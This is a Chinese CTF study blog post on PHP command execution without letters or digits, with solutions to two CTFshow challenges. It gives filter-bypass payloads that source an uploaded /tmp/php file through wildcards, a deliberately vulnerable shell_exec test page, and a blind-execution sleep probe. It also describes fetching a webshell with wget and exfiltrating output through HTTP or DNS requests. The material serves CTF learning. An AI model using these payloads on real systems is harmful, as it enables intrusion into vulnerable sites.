前言:最近比赛的时候看到有关命令执行的题目,然后解题过程中发现了无字母数字的命令执行,所以这篇文章学习一下这个知识。

无数字字母getshell

前置知识

无字母?如何生成字母?
将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符
一般考虑ascii码,
生成字母的方法:异或

1
2
0^1		1
0^0 0

任何字母与0异或,最后得到的都是它本身。

1
2
3
4
5
echo "\0"^b;
b
#特殊的异或
echo "^"^"<";
b

取反
比如:

1
2
10101011
01010100#取反
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$a="和";
echo strlen($a);
> 3
#获取字母的思路
$a="和";
echo ord($a[2]);
140
echo ord($a[1]);
146
echo ord($a[0]);
229
echo ~$a[1];
m
#总
echo ~('和'[1]);
m
echo ~("\x92");
m

这样就由汉字得到了字母

自增
PHP支持C风格的前后递增与递减运算符。
递增递减运算符不影响布尔值,递减NULL值没有效果,递增NULL的结果是1

1
2
3
4
5
$a='a';
echo $a++;
a
echo ++$a;
c

e3
以ctfshow的题目来学习一下。

CTFshow web入门55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

这个是过滤所有的字母数字
这个没有过滤点,就是source命令
本地实现
m0re
shell中是cat flag.php
有时候需要执行的重复命令过于复杂的话,可以将这些命令写入一个文件,然后使用source命令来执行。
之前遇到过这样的思路,在命令执行中如果是对payload的长度进行了限制,那么就可以将这些命令写入到一个文件中,然后使用source命令执行文件中的命令。
同时还可以执行. ?????执行这个文件,
m0re
还需要了解的是上传的临时文件,post执行上传,会在系统中产生一个临时文件,这个临时文件的目录一般在/tmp/php??????就是上传的临时文件的文件名会被自动改名为phpxxxxxxPHP后面的六个字母是随机的大小写字母。
然后写一个上传页面,本地的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://cacec335-d5ef-4934-934d-2524b0e43e62.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传一个文件抓包修改,
m0re
执行命令

1
2
#! /bin/sh
ls

[@-[]是匹配linux系统中的大写字母
构造poc

1
?c=.+/???/????????[@-[]

m0re
然后直接cat flag就行了。

m0re
还有一个题,也是类似的,不过有更多过滤,也很有意思。

CTFshow红包题第二弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

正则过滤了除了小写p以外所有的大写字母和小写字母,还有$和括号之类的特殊符号。
<?=是echo()的别名用法,不需要开启short_open_tag。
<?=前,。需要先将前面的<?给闭合,
所以payload

1
?cmd=?><?=`.+/??p/p?p??????`;

然后就是与上一题比较像了,可以任意命令执行。
就不在重复了。

1
ls /		#查看用户根目录的内容,发现flag.txt

直接cat
m0re

无回显的命令执行

命令执行无回显的话,可以尝试下面三种方式

  1. 延时
  2. http请求
  3. DNS请求
    第一种,延时操作,在学习SQL盲注的时候,无回显的情况,可以进行时间盲注,通过延时来反映命令是否执行。
    同理命令执行也可以。
    本地搭建环境测试
    1
    2
    3
    4
    <?php
    highlight_file(__FILE__);
    shell_exec($_GET[1]);
    ?>
    m0re
    无回显。(提示:在kali中搭建环境,需要开启apache服务)
    ?1=ls|sleep 3
    m0re
    http请求就是通过浏览器,发起请求,判断是否执行。
    比如可以发起curl请求来查看。

利用方法
写shell(直接写入/外部下载)
直接写入就不再多说,关于外部下载,可以在自己服务器上写一个shell,然后放在网站根目录下,开启apache服务。然后执行wget命令,或者其他下载方式把shell下载下来。
一个小思路:知道题目中有一个flag.php文件,但是不可读,可以看看能不能使用mv命令,将其变成可读的。因为没有搭建环境,就大概记录一下。

1
?ping=;mv flag.php flag.txt

执行过这样的命令后,如果成功的话,就可以直接访问flag.txt进行查看文件中的内容了。
这次又学习到命令执行的很多知识。
参考博客:
P神
一些不包含数字和字母的webshell
无字母数字webshell之提高篇
y1ng师傅